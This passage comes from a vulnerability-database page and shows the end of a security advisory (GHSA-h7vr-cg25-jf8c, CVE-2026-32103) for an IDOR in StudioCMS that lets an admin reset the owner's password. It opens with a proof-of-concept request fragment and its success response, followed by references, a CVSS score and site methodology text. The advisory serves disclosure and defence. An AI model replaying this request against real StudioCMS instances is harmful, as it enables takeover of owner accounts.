\"pwned1234@@\"\n}\n```\nResponse:\n```\n{\"message\": \"User password updated successfully\"}\n```\nThe owner\u0027s password has been changed. The admin can now log in as the owner with the new credentials, gaining full control of the StudioCMS instance.\n\n## Impact\n- **Owner Account Takeover:** Any admin can change the owner\u0027s password and assume full control of the StudioCMS instance, including all content, user management, and system configuration.",
  "id": "GHSA-h7vr-cg25-jf8c",
  "modified": "2026-03-12T14:49:38Z",
  "published": "2026-03-12T14:49:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withstudiocms/studiocms/security/advisories/GHSA-h7vr-cg25-jf8c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32103"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withstudiocms/studiocms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "StudioCMS: IDOR \u2014 Admin-to-Owner Account Takeover via Password Reset Link Generation"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-32103 (GCVE-0-2026-32103)

CNVD-2026-18152

FKIE_CVE-2026-32103

GHSA-H7VR-CG25-JF8C

Summary

Details

Vulnerable Code

Analysis

PoC

Impact

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour